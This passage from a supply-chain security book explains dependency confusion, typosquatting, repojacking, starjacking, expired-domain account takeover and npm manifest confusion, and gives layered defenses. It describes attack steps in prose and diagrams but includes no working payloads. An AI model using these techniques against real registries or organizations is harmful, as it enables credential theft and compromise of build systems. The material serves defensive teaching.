Consider the mechanics multiplied by an organization. **Caret ranges across a fleet** mean that "we depend on package X" is not a fact about a version but about a *frontier* — different services, resolved on different days, sit on different points of X's release history, and a compromised X release lands in whichever services next run an unpinned resolution. Without committed lockfiles and strict CI installs, you cannot even *answer* "which services are running the compromised version," because the version each service runs is a function of when it last resolved, not of anything recorded. That is the difference between a scoped incident and an un-scopeable one: the SolarWinds and ua-parser-js responses both hinged on the ability to enumerate exactly who had what, and that enumeration is a lockfile query.

Lockfile discipline is therefore an organizational control, not a per-repo preference. The controls that matter are enforceable at the platform layer: require committed lockfiles (a CI check that fails if one is missing or drifted); mandate strict installs in every pipeline that produces

a deployable artifact (`npm ci`, `--frozen-lockfile`, `-mod=readonly`, `--require-hashes`); route all resolution through an internal registry or proxy that pins to immutable, integrity-checked artifacts and can be frozen instantly during an incident (Book 2, Chapter 8); and gate lockfile diffs through review that understands `resolved`-URL and injected-dependency poisoning. The Maven/Gradle gap becomes an organizational liability here specifically: a fleet that cannot enumerate its resolved graph cannot scope an incident, and "we build with Maven and never turned on locking" means exactly that.

The resolver you did not choose — because it was your language's default — is quietly setting your fleet's risk posture. An organization standardized on Go inherits MVS's no-surprise-upgrade property for free; one standardized on npm inherits caret-default float and must claw reproducibility back with lockfiles and strict CI; one on the JVM must opt into locking that the tooling leaves off. None of these is a reason to pick a language. All of them are a reason to know, per ecosystem, exactly where on the newest-versus-pinned axis your defaults sit, and to move them deliberately toward pinned-and-reviewed with automated updates — because the alternative is a fleet whose trust in not-yet-written code is granted by default and legible to no one.

Key takeaways

- **A version number is self-asserted metadata.** SemVer 2.0.0 specifies a precise grammar and precedence order, but nothing enforces that a PATCH release is actually a backward-compatible bug fix. Every control built on version numbers — caret ranges, "patch-only" update policies — inherits that unenforced promise, which is exactly what ua-parser-js and event-stream exploited by shipping payloads in ordinary-looking increments.
- **A loose range grants standing, forward-dated trust to code that does not exist yet.** `^1.2.3` pre-authorizes execution of every future compatible release, transitively, across your whole graph. That pre-authorization is the mechanism by which a compromised leaf package fans out to millions of installs automatically.
- **Resolvers sit on a newest-versus-minimal axis, and the choice is a security posture.** npm hoisting, Maven nearest-wins, Gradle highest-wins, and pip's backtracking resolver all reach for the newest compatible version; Go's MVS reaches for the oldest that satisfies

requirements, closing the surprise-upgrade window by construction at the cost of automatic fixes.

- **Integrity hashes, not version pins, are the tamper-evidence mechanism.** Hash-pinning in lockfiles defeats artifact substitution — a swapped registry or CDN artifact fails the check — but it does *not* protect you from a malicious version you deliberately resolved and recorded. Do not confuse "hash-verified" with "known good."
- **Strict install in CI is the point of a lockfile.** `npm ci`, `--frozen-lockfile`, `cargo --locked`, `go mod verify`, and `pip --require-hashes` give reproducibility and tamper detection together. Committing lockfiles and installing strictly is what makes a fleet's resolved graph enumerable — the prerequisite for scoping any dependency incident.
- **Lockfile diffs are security-relevant diffs.** Lockfile poisoning — a swapped `resolved` URL, an injected transitive dependency, a stealth downgrade — hides in exactly the machine-generated file reviewers skim. Treat a lockfile change without an explaining manifest change as a red flag, and regenerate-and-compare to catch hand-edited entries.
- **The pin-versus-float tension is resolved operationally, not algorithmically.** Pin and freeze by default; reconcile staleness with automated, reviewed updates (Dependabot/Renovate, Chapter 9), ideally with a cooldown that re-introduces MVS's "don't pull the newest thing instantly" property. The Maven/Gradle lack of default locking is a real gap; close it deliberately.

Further reading

- Semantic Versioning 2.0.0 — the specification (https://semver.org/spec/v2.0.0.html).
- node-semver — the reference implementation and range grammar used by npm (https://github.com/npm/node-semver).
- PEP 440, "Version Identification and Dependency Specification" — Python's version scheme and specifiers (https://peps.python.org/pep-0440/).
- Russ Cox, "Minimal Version Selection" and the surrounding "Go & Versioning" series (https://research.swtch.com/vgo-mvs).

- The Go Modules Reference, including `go.sum`, `go mod verify`, and the checksum database (https://go.dev/ref/mod).
- Cargo Book, "Specifying Dependencies" and "Cargo.lock vs Cargo.toml" (https://doc.rust-lang.org/cargo/reference/specifying-dependencies.html).
- Maven, "Introduction to the Dependency Mechanism" (dependency mediation / nearest-wins) (https://maven.apache.org/guides/introduction/introduction-to-dependency-mechanism.html).
- Gradle, "Dependency Constraints," "Resolution Rules," and "Dependency Locking / Verification" (https://docs.gradle.org/current/userguide/dependency_management.html).
- pip documentation on the 2020 backtracking resolver and `--require-hashes`; pip-tools for compiling hashed requirements (https://pip.pypa.io/en/stable/topics/dependency-resolution/).
- Natalie Weizenbaum, "PubGrub: Next-Generation Version Solving" — the algorithm behind Dart's `pub` and `uv` (https://nex3.medium.com/pubgrub-2fb6470504f).
- The EDOS/Mancoosi work on the NP-completeness of package installability (Mancoosi project publications), for the formal hardness result.
- npm documentation for `npm ci` and `package-lock.json` integrity fields (https://docs.npmjs.com/cli/commands/npm-ci).

Chapter 3 — Dependency Confusion, Typosquatting, and Namespace Attacks

---

What this chapter covers. Chapter 1 described the registries that store packages and their trust models; Chapter 2 described the resolver that turns constraints into a concrete set of installed artifacts. This chapter is about attacks that abuse the layer *between* those two — the mapping from a **name** to an **artifact**. Book 1, Chapter 2 introduced dependency confusion, typosquatting, combosquatting, repojacking, and starjacking as entries in a taxonomy. Here we take them apart: the precise resolution behavior each one exploits, per ecosystem, and why the design decisions

that enable them looked reasonable when they were made. These are the cheapest supply-chain attacks in existence — no stolen credential, no compromised build, no malicious maintainer. The attacker publishes a package and waits for your resolver to pick it. Because the precondition is a *naming* mistake rather than a *code* vulnerability, the defenses are almost entirely about controlling how names resolve, and they can be closed deterministically once you understand the mechanics. That is the goal of this chapter.

Learning goals — after this chapter you should be able to:

- Explain dependency confusion at the resolver level: exactly why an internal package name that is *also* resolvable from a public registry can be silently substituted, and how npm, pip, Maven, and Go differ in their structural exposure to it.
- Articulate why `--extra-index-url` is a security anti-pattern and `--index-url` is not, and why Maven's explicit repositories and Go's URL-based import paths resist confusion by construction.
- Distinguish typosquatting, combosquatting, and homoglyph attacks by mechanism, and reason about their scale, detectability, and the automation attackers use to mass-produce them.
- Describe repojacking, starjacking, expired-domain/maintainer takeover, and npm manifest confusion accurately — what each subverts, what capability it requires, and where the platform mitigations still leave gaps.
- Design a layered org defense that maps each attack class to a primary control, with the internal registry/proxy as the single enforcement chokepoint.

The shared root: a name is not a location

Every attack in this chapter exploits the same structural fact. In npm, PyPI, RubyGems, and most other flat-namespace registries, a dependency is requested by a **bare name** — `requests`, `lodash`, `acme-auth-client` — and it is the *resolver's* job, at build time, to decide which concrete artifact that name refers to. The name carries no proof of origin. It does not say *which registry* is authoritative for it, *who* is allowed to publish it, or *what* the "right" version is. The resolver answers those questions from configuration and from whatever indexes it happens to be pointed at, and

its default answers are optimized for convenience — pull the newest compatible thing from wherever it is available — not for security.

Contrast this with a system where the name *is* a location. A Go import path like `github.com/acme/auth` names a specific host and repository; there is no ambiguity about where it resolves, only about who controls that repository. A Maven coordinate `com.acme:auth:1.4.0` binds a `groupId` that is conventionally a domain you own, resolved from repositories you list explicitly. When the name encodes origin, confusion attacks lose their footing — the attacker can no longer inject a competing answer to "what does this name mean," only attack the origin directly. This distinction — *name-as-label* versus *name-as-location* — is the single most useful lens for the whole chapter, and we will return to it for every ecosystem.

```
flowchart LR
    subgraph nl["Name as label (npm, PyPI)"]
        A["Request: acme-auth"] --> B{"Resolver picks
from configured indexes"}
        B --> C["Which registry?
Which version wins?"]
    end
    subgraph nc["Name as location (Go, Maven)"]
        D["Request:
github.com/acme/auth
or com.acme:auth"] --> E["Origin is named
in the request itself"]
    end
```

Dependency confusion

Birsan's 2021 research

In February 2021, security researcher **Alex Birsan** published "*Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies*." The technique he described — which he and the industry now call **dependency confusion** (also *substitution* or *namespace confusion*) — is elegant precisely because it requires no compromise of anything. It works like this.

Large organizations build internal packages: shared utilities, client libraries, config modules, named things like `acme-auth-client` or `paypal-analytics`. These are hosted on an *internal* registry and are never

published publicly. But the *names* leak. They appear in `package.json` files accidentally committed to public repositories, in error messages, in JavaScript bundles served to browsers (npm dependency names are often visible in the bundled source), in cached pages, and in leaked internal artifacts. Birsan mined these names — he specifically noted harvesting them from `package.json` manifests exposed in public assets — and then did the only active step in the whole attack: he **published a package with that exact name to the public registry** (npm, PyPI, or RubyGems), with a **higher version number** than the internal one, and a small payload that phoned home on install.

Then he waited. When a victim's build ran and its resolver was configured — as many were — to consult the public registry *alongside* the internal one, the resolver saw two candidates for `acme-auth-client`: the internal `1.0.0` and Birsan's public `9.9.9`. It preferred the public, higher-versioned copy, downloaded it, and ran the install script. Birsan received callbacks — DNS and HTTP beacons carrying hostname, username, and paths — from build systems inside Apple, Microsoft, PayPal, Shopify, Netflix, Yelp, Tesla, Uber, and dozens of others. He was running a coordinated disclosure and collected bug bounties; the payload was deliberately benign reconnaissance. But the same primitive delivers an infostealer or a reverse shell just as easily. The **PyTorch/torchtriton** incident of December 2022 (Book 1, Chapter 4) is exactly this attack executed for real, with an infostealer payload exfiltrating SSH keys over DNS.

The reason the attack landed at *large* companies specifically is worth stating plainly, because it is the whole distributed-systems point: dependency confusion's precondition is *having a corpus of internal package names consumed by builds that also reach a public registry*. Small shops have few internal packages. A mature backend org has hundreds, across multiple language ecosystems, and every single one is a public namespace an attacker can squat.

The resolution decision, precisely

The vulnerability is not in any package. It is in the moment the resolver has two candidate sources for one name and picks the wrong one. Here is that decision as a sequence.

```
sequenceDiagram
    participant Build as Build / CI
    participant Res as Resolver (npm/pip)
    participant Pub as Public registry
    participant Int as Internal registry
    Build->>Res: install "acme-auth-client"
    Note over Res: Both indexes are in scope
(no source pinning for this name)
    Res->>Int: versions of acme-auth-client?
    Int-->>Res: 1.2.0 (internal, intended)
    Res->>Pub: versions of acme-auth-client?
    Pub-->>Res: 99.0.0 (attacker-published)
    Note over Res: DECISION POINT
Highest version across merged
candidate set wins
    Res->>Pub: download acme-auth-client@99.0.0
    Pub-->>Res: malicious tarball + install script
    Res->>Build: run preinstall/install script
    Note over Build: Attacker code executes
in the build environment
```

The critical property is that the resolver treats the two indexes as a **merged candidate set** and applies its ordinary "newest compatible version wins" rule across the union. It does *not* treat the internal index as authoritative for `acme-auth-client`. There is no notion, by default, of "this name belongs to that source." Once you see the decision this way, every defense in the chapter is obviously a variation on one idea: change the resolver so that for internal names, the internal source is the *only* candidate.

npm: scope-less names and version-max resolution

npm's exposure comes from the interaction of two facts. First, an *unscoped* package name like `acme-auth-client` lives in a single global namespace shared by everyone; there is nothing about the name that ties it to your organization. Second, npm's default registry configuration and its version-selection logic mean that when a name resolves against the public registry (`registry.npmjs.org`) and a higher version exists there, that higher version is a valid candidate for a caret or wildcard range.

Consider an internal package referenced as `"acme-auth-client": "^1.0.0"`. If your `.npmrc` points the default registry at npm public — the out-of-the-box state — and your internal package is *not* in that registry, the resolver simply fails to find it, unless someone has published a public `acme-auth-client`, in which case it happily resolves *that*. Even in mixed

setups where an internal registry is configured, if it is configured such that a name not found internally falls through to the public registry (or both are consulted and the max version wins), the attacker's public `9.9.9` beats your internal `1.0.0`. The caret range `^1.0.0` does not save you here in the worst configurations, and attackers publish absurdly high versions (`99.99.99`) precisely to win any max-version comparison.

The clean npm answer is **scopes**. A scoped name `@acme/auth-client` is namespaced under `@acme`, and `.npmrc` can bind a scope to a specific registry:

```
# .npmrc — the scope is pinned to the internal registry
@acme:registry=https://npm.internal.acme.com/
//npm.internal.acme.com/:_authToken=${ACME_NPM_TOKEN}
# everything else still comes from public npm
registry=https://registry.npmjs.org/
```

With this configuration, *every* request for a name under `@acme/*` goes to the internal registry and *only* the internal registry. The public registry is never consulted for those names, so an attacker who publishes `@acme/auth-client` publicly is invisible to the resolver — and, crucially, they cannot publish it at all if you have **reserved the `@acme` scope** on public npm (more on this below). Scopes convert an unscoped, globally-contested name into a name whose *prefix* routes to a controlled source. This is the single most important npm mitigation, and it is why "scope your internal packages" is the first line of every dependency-confusion remediation.

pip: `--extra-index-url` treats all indices as equal

pip's exposure is more insidious because its most-recommended installation pattern *is* the vulnerability. The Python packaging ecosystem long documented installing from a private index by *adding* it:

```
# The dangerous pattern
pip install --extra-index-url https://pypi.internal.acme.com/simple/ ac
me-analytics
```

The word "extra" is doing enormous damage here. `--extra-index-url` does **not** make the private index authoritative or even preferred. It adds the private index to a **flat set** of indexes that pip treats as *equivalent*. When pip resolves `acme-analytics`, it queries *all* configured indexes —

public PyPI and your private one — collects every version it finds anywhere, and selects the **highest version** according to its normal preference rules (subject to constraints, wheel-vs-sdist preferences, and the backtracking resolver from Chapter 2). There is no index priority. There is no "this name belongs to the private index." An attacker who uploads `acme-analytics` to public PyPI with a higher version wins the max-version comparison exactly as in the torchtriton case, where the public PyPI copy of `torchtriton` beat PyTorch's intended one from `download.pytorch.org`.

The fix in pip is to stop *adding* and start *replacing*:

```
# The safe pattern: --index-url REPLACES the index set
pip install --index-url https://pypi.internal.acme.com/simple/ acme-
analytics
```

`--index-url` sets the *sole* index. Public PyPI is no longer consulted at all. This only works if your internal index is a **proxy/mirror** that can also serve public packages you legitimately need (Chapter 8) — otherwise you break every non-internal dependency. That is exactly why the mature answer is a single internal index that merges upstreams under your policy: you point pip at *one* place, and that place decides, per name, whether to serve an internal artifact or proxy a vetted public one. pip has since gained a limited hardening in the form of index-source constraints, but the core `--extra-index-url` behavior — flat, equal, max-version-wins — remains the default trap.

There is a subtle secondary pip exposure worth naming: even with a single private index, if that index *transparently proxies* PyPI for unknown names, and an internal name is not present in the index's own storage, a well-meaning proxy may fetch the public `acme-analytics` on your behalf. The enforcement therefore has to live *in the proxy's policy*, not just in the client flag — "block external resolution for internal namespaces," which we cover under org defenses.

Why Maven and Go are structurally more resistant

Maven and Go are not immune to supply-chain attacks — nothing is — but they largely *design out* dependency confusion, and understanding why sharpens the defenses for the ecosystems that don't.

Maven resists confusion for two reinforcing reasons. First, repositories are **explicit and ordered**. A build declares its repositories in `settings.xml` or the POM, and Maven consults them in a defined order; there is no implicit "also check the public one" that silently merges a public candidate into the set. If your internal Nexus/Artifactory is the configured repository for `com.acme:*`, Maven resolves those coordinates there. Second, and more fundamentally, the **`groupId` is conventionally a reversed domain you own** — `com.acme`, `io.paypal`. Maven Central enforces namespace ownership at publish time: to publish under `com.acme` on Central you must prove control of `acme.com` (historically via DNS/domain verification through the Sonatype OSSRH/Central onboarding). An attacker cannot simply publish `com.acme:auth:99.0.0` to Central, because they do not own `acme.com`. The namespace is *reserved by construction* through domain ownership. This is exactly the "reserve your namespace publicly" defense, except Maven bakes it into the publishing model rather than leaving it as an optional step. Note the residual risk: Maven still applies **nearest-wins / first-declared** mediation across repositories, so a *misordered* repository list or a permissive mirror can reintroduce ambiguity — the structural protection is strong but depends on not defeating it in configuration.

Go resists confusion because import paths **are URLs**. A dependency is `github.com/acme/auth`, not `auth`. The name encodes the host and repository, so there is no registry to consult that could offer a competing artifact for the same name — the name *is* the location. The Go module proxy (`proxy.golang.org`) and checksum database (`sum.golang.org`, backed by a `go.sum` in your repo) add tamper-evidence on top: the first time a module version is fetched, its hash is recorded in the transparency log, and every subsequent fetch is verified against it (the mechanics are in Book 2, Chapter 2 and Book 5). Because the name is a location, classic dependency confusion — "publish a colliding name to a registry the resolver also checks" — has nowhere to insert itself. Go's exposure moves *up the stack* to a different attack: whoever controls `github.com/acme/auth` controls the code. That is **repojacking**, which we treat later — Go trades registry-confusion risk for namespace-ownership risk, and the defense correspondingly shifts from "reserve your registry name" to "don't lose control of your VCS namespace."

The lesson for npm and pip is that their confusion exposure is the *price of the flat namespace and implicit multi-index resolution*. You cannot change the ecosystem design, but you can emulate the protections: scopes/

prefixes emulate `groupId` namespacing; single-index sourcing emulates Maven's explicit repositories; reserving your names publicly emulates domain-ownership enforcement.

Defenses in depth

No single control is sufficient; dependency-confusion defense is a stack, and a mature org runs all of it. In rough order of leverage:

1. **Reserve your namespace on the public registry.** Publicly claim your organization's scope or name prefix so no attacker can publish under it. On npm, register the `@acme` **scope** (create an npm org and own the scope); an attacker then *cannot* publish `@acme/anything`. On PyPI, there is no true prefix reservation in the general case, so the practical equivalent is to **publish placeholder packages** under your internal names (as PyTorch did with `torchtriton` after the fact), occupying the name so no one else can — do this proactively for every internal name, not reactively after an incident. This is the one defense that protects even *misconfigured* consumers, because the malicious package can never exist.

2. **Source internal packages from a single controlled index.** Use `--index-url` (not `--extra-index-url`) for pip; bind scopes to the internal registry in `.npmrc`; point everything at one internal proxy/registry that merges upstreams under policy (Chapter 8). The goal is that for any given name, exactly one source is authoritative and the public registry is never a fallthrough candidate for internal names.

3. **Block external resolution for internal namespaces at the proxy.** JFrog Artifactory and Sonatype Nexus support "exclude patterns" / "priority resolution" so that names matching `com.acme.*`, `@acme/*`, or `acme-*` are served *only* from internal storage and are **never** proxied to an upstream public repository, even if they are absent internally. This closes the transparent-proxy fallthrough gap: an internal name that isn't found internally *fails*, rather than silently fetching an attacker's public copy. This is the enforcement chokepoint, and it is where org-wide policy actually bites.

4. **Pin index/registry configuration as versioned, reviewed policy.** The org-wide `.npmrc`, `pip.conf`, and `settings.xml` are security configuration. Ship them via your base images and golden CI templates, keep them in version control, and review changes to them

the way you review firewall rules — because `--extra-index-url` slipping into one team's Dockerfile reopens the hole for that team.

5. **Verify integrity and use scoped/reserved names in manifests.** Prefer scoped names (`@acme/*`) over bare names so the manifest itself routes to the right source; combine with the lockfile integrity hashes from Chapter 2 so a substituted artifact fails verification even if it reaches you.
6. **Registry-side mitigations.** Public registries have added their own guards. npm's org scopes are the primary one — reserving a scope is registry-side namespace protection. Registries and scanners increasingly flag newly-published packages whose names match known internal-name patterns, and some CI security tools (and the OpenSSF ecosystem) scan for internal names lacking public reservation. These are backstops, not substitutes for the resolver-level controls above.

Typosquatting and combosquatting

Dependency confusion abuses the *resolver*. Typosquatting abuses the *human* — the developer who mistypes a name, copies a wrong one from a blog, or trusts a plausible-looking variant. The mechanism is trivial and the scale is enormous.

The mechanism and its automation

A **typosquat** is a package whose name is a near-miss of a popular one, exploiting predictable human error:

- **Transposition and fat-finger errors:** `reqeusts` for `requests`, `electorn` for `electron`, `lodahs` for `lodash`.
- **Omitted or added characters:** `expres` for `express`, `djangoo` for `django`.
- **Homoglyphs and confusables:** visually similar characters, including Unicode homoglyphs (a Cyrillic `а` (U+0430) that looks identical to Latin `a`), or `rn` rendered to resemble `m`.
- **Wrong-but-plausible spelling:** `python-sqlite` where the real one is `pysqlite`, or a hyphenation the developer half-remembers.

Combosquatting is the adjacent technique that *adds* tokens to a real name rather than misspelling it, exploiting the plausibility of an official-

sounding variant: `python3-dateutil` (the real package is `python-dateutil`), `<real-lib>-utils`, `node-<real-lib>`, `<real-lib>-js`. The victim doesn't make a typo — they reasonably assume the composed name is an official companion package. Combosquats are harder to catch than typosquats precisely because the name is not *wrong*, just not *official*.

The economics favor the attacker overwhelmingly. Publishing is free and unrate-limited enough that attackers **mass-register** — a single campaign scripts the generation of hundreds or thousands of name variants (a Damerau-Levenshtein neighborhood around the top few thousand packages), publishes them all, and waits for the long tail of installs. Each install is a low-probability event, but across a whole ecosystem's typo rate over months, the aggregate hit count is meaningful. The payload almost always rides an **install-time hook** — an npm `preinstall` / `install` script or a Python `setup.py` that executes on `pip install` — so that merely *installing* the wrong name, without ever importing it, runs the attacker's code. This is the direct tie to Chapter 4: the name is the lure, and the install script is the trigger.

```
flowchart TD
    A["Developer types / copies
a dependency name"] --> B{"Name correct?"}
    B -->|"Yes"| C["Legit package resolves"]
    B -->|"Typo: reqeusts
Combo: python3-dateutil
Homoglyph"] --> D["Squatted package resolves"]
    D --> E["Install-time hook fires
preinstall / setup.py"]
    E --> F["Payload runs in dev or CI:
steal env, tokens, ~/.npmrc"]
    F --> G["Often: re-publish, spread,
or beacon out"]
    C --> H["Build proceeds normally"]
```

Real incidents, described accurately

crossenv (npm, 2017). In August 2017 the npm registry removed a batch of malicious packages, the best known of which was **`crossenv`** — a typosquat of the very popular **`cross-env`** package (the real one uses a hyphen). The malicious `crossenv` carried a `postinstall`-style script that harvested environment variables — which in CI and developer environments routinely contain tokens, credentials, and secrets — and exfiltrated them to an attacker-controlled endpoint. The campaign

included around **a dozen** typosquatted names targeting other popular packages (variations dropping hyphens or transposing characters). It is frequently cited as the incident that put npm typosquatting on the industry's radar, and it established the template still in use: squat a popular name, ride the install hook, steal environment secrets.

python3-dateutil and jeIlyfish (PyPI, 2019). In late 2019, two malicious PyPI packages were identified and removed. `python3-dateutil` was a *combosquat* of the widely-used `python-dateutil` — the `3` making it look like a Python-3 variant. `jeIlyfish` (note: the name as published used a capital `I` where the legitimate package `jellyfish` has a lowercase `l` — a **homoglyph** that is nearly indistinguishable in many fonts) squatted the real string- comparison library `jellyfish`. Reporting at the time indicated `python3-dateutil` imported code from `jeIlyfish`, which contained an obfuscated payload that attempted to exfiltrate data (including SSH keys and GPG keys, per the disclosures). The pair is a clean illustration of two techniques at once: combosquatting for the front-facing lure and a homoglyph for the hidden helper.

The ongoing flood. Beyond these named cases, both npm and PyPI experience continuous typosquatting campaigns. PyPI has seen repeated waves of hundreds of malicious packages published in short bursts; npm's public advisories and third-party researchers (Sonatype, Phylum, Socket, ReversingLabs, and others) report new typosquat and combosquat batches on essentially a weekly cadence. The individual packages are low-effort and short-lived — registries remove them, often within hours to days — but the *class* is permanent because the economics never change. Treat typosquatting not as a series of incidents to respond to but as ambient background radiation to filter continuously.

Detectability and defenses

Typosquatting is, happily, one of the more *detectable* attack classes, because the signal — a name that is suspiciously close to a popular name but was published recently by an unknown account — is machine-computable.

- **Name allowlists and pinning.** The strongest control is to remove the human from the loop: developers do not install ad hoc from the public registry at all. They request additions to a curated, reviewed internal set (Chapter 8), and CI installs only from that set. A typo cannot resolve to a squat if the squat is not in the allowlist.

- **Similarity detection at the enforcement point.** Compute edit distance (Damerau-Levenshtein), keyboard-adjacency distance, and homoglyph-normalized equality between every requested/new dependency and a corpus of popular names; flag near-misses for review. This is what tools in the space do, and you can run it in your proxy or CI. Normalize Unicode (NFKC and confusable-folding) before comparing so `jeIlyfish` collapses onto `jellyfish`.
- **New-and-similar flags.** The highest-signal heuristic combines *name similarity* with *package youth* and *low reputation*: a package published last week, by an account with no history, whose name is one edit away from a package with millions of downloads, is almost certainly malicious. Socket, OSSF, and commercial scanners key on exactly this combination.
- **Registry-side namespace protection.** For your *own* popular names, the same reservation logic from dependency confusion helps: owning the scope/prefix, and defensively registering obvious typo variants of your own package names, denies attackers the most valuable squats.
- **Install-script neutralization.** Because the payload rides install hooks, disabling them by default (`npm install --ignore-scripts`, and reviewing which packages genuinely need scripts) removes the trigger even when a squat slips through. This is a Chapter 4 control but it is a first-class typosquat defense.

Namespace and identity attacks

The previous two families attack how a *name* resolves to an artifact. This family attacks the *identity* behind a name — the VCS namespace, the linked repository, the maintainer account, or the metadata — so that a name you already trust starts pointing at attacker-controlled substance.

Repojacking

Repojacking exploits the reuse of a freed VCS namespace. When a GitHub user or organization is **renamed or deleted**, the old `owner` path is, subject to platform rules, potentially **re-registrable** by someone else. If a popular project lived at `github.com/olduser/pkg` and still has references pointing there — Go modules (`go get github.com/olduser/pkg`), package metadata `repository` URLs, install scripts that `git clone`

the old path, documentation, redirect chains — an attacker who *claims the freed* `olduser` *account* can create a `pkg` repository under it and control what all those references now resolve to.

Go is the ecosystem most directly exposed, because Go import paths *are* the VCS URL: a module that imports `github.com/olduser/pkg` will, on a fresh resolution, fetch from whatever now lives there. (The Go checksum database mitigates this for *already-recorded* versions — a changed hash fails `go.sum` verification — but a *new* version tag, or a first-time fetch, is not protected by a prior hash.) But repojacking also hits redirect-based package references and any build step that trusts a GitHub path.

```
sequenceDiagram
    participant Owner as Original owner
    participant GH as GitHub namespace
    participant Att as Attacker
    participant Vic as Victim build (go get)
    Owner->>GH: rename or delete "olduser"
    Note over GH: "olduser/pkg" references
still exist in the wild
    Att->>GH: register username "olduser"
    Att->>GH: create repo "pkg" with malicious code
    Vic->>GH: go get github.com/olduser/pkg
    GH-->>Vic: attacker-controlled repository
    Note over Vic: Malicious module enters the build
```

GitHub's mitigation is **popular-repository namespace retirement**: when a repository that has crossed a popularity threshold (historically framed around clone/traffic volume — on the order of "more than 100 clones in the week before the owner's account was renamed or deleted") is orphaned by a rename or deletion, GitHub **retires** the `owner/repo` namespace so it *cannot* be re-registered by anyone. This blunts the highest-value cases. But the mitigation has real **gaps**:

- It is **popularity-gated.** The long tail of moderately-used repositories — below the threshold but still depended upon by real builds — is not retired and remains reclaimable.
- **Renames leave redirects that can be broken.** GitHub sets up a redirect from an old path to a renamed one, but if a *new* account later takes the old name, the redirect can be superseded — the interaction between redirects and re-registration has been the source of documented bypasses, where researchers reclaimed names that were supposed to be protected.

- It protects the **repo namespace, not the account.** Combined with account-takeover or expired-domain attacks (below), the retirement can be sidestepped by regaining the *original* account rather than registering a new one.

The org-side defense is to **avoid depending on mutable VCS namespaces you do not control** where possible (vendor or mirror through an internal proxy, Chapter 8), pin module versions with recorded hashes so a swapped repo fails verification, and monitor your dependency graph for GitHub paths whose owners have gone missing.

Starjacking

Starjacking is trust-signal forgery. Package registries commonly display a *linked* source repository and surface signals from it — GitHub star count, README, contributor activity — on the package's page. The problem is that registries frequently **do not verify** that the publisher of a package actually controls the repository it links to. An attacker publishes a malicious (often typosquatted) package and sets its `repository` metadata to point at a *famous, unrelated* project — say, a package that borrows the repo URL of a library with 60,000 stars — thereby inheriting that project's apparent popularity and legitimacy on the registry page and in any tooling that reads the link.

Starjacking is not, by itself, a code-execution primitive; it is a *credibility amplifier* that makes the other attacks more effective. It converts "unknown package, be careful" into "backed by a famous, well-starred project, looks fine," and it is typically combined with typosquatting or confusion to push a victim over the line. The reason it works is the **under-validation of the repo link**: the `repository` field in `package.json` or PyPI metadata is self-asserted by the publisher, and historically neither npm nor PyPI proved the publisher's control of that repository before displaying its signals. The defense is to treat displayed stars and linked-repo signals as *unverified* — weight them near zero in dependency evaluation (Chapter 10) — and to prefer provenance you can verify cryptographically (npm's provenance attestations and Sigstore, Book 5) over social signals that anyone can forge.

Expired-domain and maintainer-email takeover

A registry account is only as secure as the identity anchoring it, and the weakest common anchor is a **maintainer email tied to a domain**. Many

package accounts were created years ago with an email at a domain the maintainer has since let lapse — a company that folded, a personal domain not renewed. If an attacker **re-registers the expired domain**, they can stand up a mail server for the old address, trigger a **password reset** on the maintainer's registry account, receive the reset email, and **take over the account** — and with it, publish rights to every package that maintainer controls. No code compromise, no phishing: just a WHOIS check for lapsed domains cross-referenced against maintainer emails, and a domain registration.

This is a documented, researched risk (studies have found thousands of npm/PyPI maintainer accounts whose email domains were expired or re-registrable). It sits at the intersection of this chapter and account-takeover (Book 7, Chapter 6), and it is why serious registries now push — and increasingly mandate — **2FA for maintainers of popular packages** (npm's top-package 2FA enforcement, PyPI's 2FA mandate for all accounts as of 2023–2024). 2FA breaks the email-reset chain: regaining the domain no longer suffices if a second factor is required. The org-side lesson is to prefer dependencies whose maintainers demonstrably use strong account security, and to recognize that a long-abandoned-but-still-installed package is a standing takeover risk even if its code has not changed in years.

Manifest confusion (npm, 2023)

In 2023, security researcher **Darcy Clarke** publicized a class of npm issues under the banner **"manifest confusion."** The core finding: on npm, a package's **manifest metadata** — the JSON the registry serves for a package/version, including its declared `dependencies`, `scripts`, and other fields — is stored and served **separately** from, and is **not validated against**, the actual **contents of the tarball** (its bundled `package.json` and files). The two can **diverge**. An attacker can publish a package whose registry-level manifest advertises one set of dependencies and scripts while the tarball actually contains *different* ones.

Why this matters:

- **Tooling that trusts the manifest is misled.** Anything that reads dependency or script information from the registry API — audit tools, SBOM generators, some resolvers' metadata paths, security scanners — sees the declared manifest, which may *hide* dependencies or scripts that the installed tarball actually pulls in or runs. A package

could show "no dependencies, no install scripts" in the manifest while the tarball's real `package.json` declares a malicious dependency or a `postinstall` hook. What you *audit* is not what you *install*.

- **It undermines cache and integrity assumptions.** Divergence between metadata and content breaks the intuition that the manifest describes the artifact.

npm's response was partial and contested; Clarke argued the root cause — serving manifest metadata that is decoupled from tarball contents — was not fully fixed at disclosure time. The practical takeaway for defenders is to **derive your dependency and script inventory from the installed tarballs, not from registry-served manifests** — resolve, install into an isolated environment, and inventory what is actually on disk (which is what a good SCA tool and a lockfile with per-artifact integrity hashes give you) rather than trusting the registry's word about a package's shape.

Brandjacking and account-takeover overlaps

Several of the above shade into **brandjacking** — impersonating a trusted project or vendor to borrow its reputation — and into **account takeover** (ATO) generally. Starjacking is brandjacking of a repo's popularity; a typosquat with a copied README and logo is brandjacking of a package's identity; expired-domain takeover is one *route* to ATO. The full treatment of account security — credential theft, phishing, session hijacking, token compromise, and the defenses of 2FA, scoped publish tokens, and trusted publishing (OIDC) — is Book 7, Chapter 6. For this chapter the point is that namespace and identity attacks form a spectrum: at one end, purely *external* tricks that never touch the real project (typosquat, starjack); at the other, *takeover* of the real project's account (expired domain, ATO). The defenses correspondingly range from "control how names resolve" to "harden the accounts that own the names."

Synthesis: a layered org defense

No single control stops this whole family, because the family attacks three different layers — the resolver (confusion), the human (squatting), and the identity (namespace/ATO). A defensible posture runs a control at

each layer and routes enforcement through one chokepoint. The model, in one picture:

```
flowchart TD
    subgraph reserve["1. Reserve"]
        R1["Own your scope/prefix
publicly (npm @acme,
PyPI placeholders)"]
    end
    subgraph source["2. Source"]
        S1["Single internal index
--index-url, scoped .npmrc"]
        S2["Proxy blocks external
resolution for internal names"]
    end
    subgraph verify["3. Verify"]
        V1["Lockfile integrity hashes
Inventory from tarballs,
not manifests"]
    end
    subgraph monitor["4. Monitor"]
        M1["Similarity + new-and-similar
flags; dangling VCS owners;
unverified repo links"]
    end
    reserve --> source --> verify --> monitor
    S2 -.->|"enforcement
chokepoint"| PROXY[["Internal registry / proxy"]]
    S1 -.-> PROXY
    M1 -.-> PROXY
```

